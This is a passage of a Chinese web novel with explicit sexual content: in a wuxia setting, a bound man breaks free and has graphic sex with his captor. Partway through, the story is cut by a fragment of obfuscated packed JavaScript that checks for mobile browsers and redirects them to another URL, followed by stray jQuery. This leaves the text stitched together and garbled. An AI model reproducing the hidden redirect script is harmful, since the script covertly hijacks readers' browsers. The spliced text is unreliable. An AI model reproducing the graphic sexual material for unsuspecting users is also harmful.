可是如今,却发现这样一个人同当年之事可能有着千丝万缕的关系。 倘若他也参与了...... 谢稚闭上了眼睛,她着实有些舍不得杀他。 苏璟死了,倘若他再死了...... 她或许就再也见不到这样一张脸了。 谢稚心下有些发酸,为着母亲,也为着......这一张脸带来的念想。 “师兄,你到底为了什么呢?也是明绰诀吗?” 谢稚不相信,也不想相信。 可是,是他亲手杀了父亲。也是他......亲手将父亲推下悬崖。 所以,有时候她就在想......他最终死在杞山是否也是因果报应呢? 谢稚盯着身前蒸腾而上的白雾,一动不动。可是发呆的时候久了,谢稚才发现有些不太对劲,好像少了什么。 谢稚回过神来,目光在屋内梭巡了一群,忽然意识到......太安静了。 容峋! 谢稚猛地站起身来,披了一件外衫就往外走去。 容峋好像彻底昏过去了,低垂着头,呼吸都变得粗砺绵长起来。 谢稚一步步走近,垂眸瞧了一眼他那里...... 胀大得好像要被她玩坏了的样子。 谢稚踢了他的小腿一脚,轻声唤他:“容峋。” 容峋已经没有任何反应了。 整整折腾了一晚上,谢稚抿着唇更近了一步:“容峋?” 容峋呼吸如旧,仍不见回应。 谢稚瞧了一眼那处,喉咙上下滚动了一下:听说憋太久,会变成太监的。 谢稚寻思了片刻,抬手将男人身上的锁链解了下来,最后才松开捆着手腕的牛皮带。 刚一松开,男人的身体直直地照着谢稚身前倒去。 谢稚惊了一下,下意识接住他。 第一反应就是烫。 滚烫得已经不似常人的温度。 可是下一秒,谢稚就意识到了不对劲。只见刚才还昏迷不醒的男人猛地睁开眼睛,手指迅速的点住谢稚穴位,跟着将人反手按在刑架之上,方才还捆住他的牛皮带已经捆上了谢稚。 谢稚瞬间气笑了:“容......” 不过说了一个字,容峋就已经低头吻了下来。 男人的吻,已经不能再叫吻了。他凶狠地强占着每一寸呼吸,如同终于挣脱牢笼的野兽,要将禁锢他的主人彻底吞吃入腹。 谢稚被他这份热情逼得神魂震荡,浑身上下也烧了起来。 尤其如今容峋双手终于得了空档,从腰间入手,所过之处尽数化为一片碎布。原本谢稚就只披了一件单薄外衫,里头一片中空。而容峋一身白衣褴褛,也早已经遮不住什么了。 如今布衫落下,两个人近乎赤丨裸相贴。 容峋仍旧吞咬着她的舌头,一下一下,是从未有过的凶狠。 直到谢稚口腔中的空气被他吞噬干净,发出呻吟的呜咽,容峋才稍微退出停了一停。 他垂眸望着她,动作和声音一样冷冽:“不肯放开我?” “故意折磨我?” “看我如此狼狈,你就满意了?” 每说一句话,男人都毫不留情的鞭挞过去。一下又一下,擦过又撞过。 “嗯......容峋!”局势陡转,谢稚却没有任何恐惧,反而更加激起了她的血性:“容峋......” 容峋也被她刺激得眼瞳血红,低下头去重新吻上她的红唇。 男人初见时候的冷淡,早已经在血色和欲望中消弭殆尽。不得不说,这种将神仙一般的人物拖下欲望深渊的感觉,真是让人迷醉。 谢稚心下情动的厉害,舌头也跟着他缠咬在一起。 容峋上下没有一处闲着,手指跟着胡乱摸索,像是找不到目的地的幼童,一路滑到了花溪山水之间,又冒冒失失的踩了进去。 “唔......,”谢稚有些难受的咬了他一口。 容峋慢慢往后退了退,鼻尖相贴,唇齿相依:“疼?” 谢稚抬眸睇了他一眼,不冷不热:“第一次?” 容峋瞳孔一缩,眸光瞬间变得有些危险,不过什么话也没说,张口咬上她的嘴唇,毫不留情的探了进去:“怎么?担心我不能伺候好谢尊主?” 谢稚嘶了一声,轻笑道:“本座有这个担心不是正常的吗?” 容峋气极反笑了,笑得还甚是温和:“也对,定然比不过你那条黑狗。” 话音落下,男人手下更加用力的撞了进去,动作再不留情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345803|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嗯......疼!” 容峋没有理会她,目光俯视着她,冷漠之中又蕴藏了浓厚的欲望。 “比他让你疼吗?” 谢稚脸上的笑容越扯越大:“他从来舍不得我疼,只有容郎才这样狠心。” 容峋呵了一声,慢慢抽出手指,黏连的涎液拉成了暧昧的细丝,容峋这样一个洁癖到了极致的人,却没有半分嫌恶,反而抹上她的唇角淡淡道:“哦,是吗?” 甜腻的味道进入嘴里,谢稚嫌恶的呸了他一口:“拿开。” 哪怕是她自己的东西,她也嫌弃。 容峋温温和和的笑了,将指节送入自己嘴里:“很甜。” 谢稚又呸了一口,瞪着他:“想吃,就跪下去吃。” 容峋那双通红的眸子似是想了想,而后弯成了月牙形状,如同深夜中的红月,温柔又诡异:“好啊。” 话音落下,男人当真蹲下了身子,手指跟着一点一点从腰间滑落。 “容峋?”谢稚的声音有些躁。 容峋蹲在她的身前,抬头看她,沉默的面色中透出一股濒临毁灭的疯感。 他一句话没有说,用行动回答了刚才女人的那句冷嘲。 “嗯......容峋!” 容峋已经顾不上同她说话了,他就像在沙漠之中被炙烤了数日之久的旅行者,在生命的临终时刻终于找到了沙漠之洲。绿洲珍贵,水甘露甜,点滴都不能浪费。 “啊......容......容峋......” 容峋被她故意折磨了这么久,已经到了崩溃的边缘。如今他还能做这些,全凭着这些年训练下来的意志力和强大的忍耐力。 他的面色还算平静,可是动作却已经透露了心里的急切。 “容峋......停......停下!” 容峋不仅没有停下,反而变本加厉的将方才给予的折磨返还回去。 最后一下,谢稚觉得脑子里好似断了根弦似的,任由决堤的洪水将她彻底淹没。 她缓了许久,才重新将目光聚焦到容峋的脸上。 房间内光线晦暗,男人仍旧蹲在原地,抬头仰视着她,看不清面容轮廓,只能瞧见那一双凤眸沉得发亮。 谢稚嘴唇动了动,下意识叫出了:“师兄。” 男人动了,他慢慢站起身,回到她的面前直视着她:“你叫我什么?” 谢稚回过神来,不吭声了。 容峋手指捏上她的下颌,就像她常常对他做的那样,重复问了一遍:“你叫我什么?” “唔......容峋......”那一下又沉又重,谢稚险些没能咬住到口的呻丨吟。 容峋突然明白了为什么她会在欢喜的时候,一遍遍地听他叫她。 原来,真的是有不一样的感受。 容峋眼睛红得越发厉害了,他将两个人撞得更紧密了一些:“再叫我。” 谢稚看着他额头的汗珠和那一双深不见底的眼睛,仰起头照着他的唇深深吻了上去:“容峋,容峋......” 女人就在一遍遍的温柔低喃中,说出了最后一句话:“要了我,你会死的。”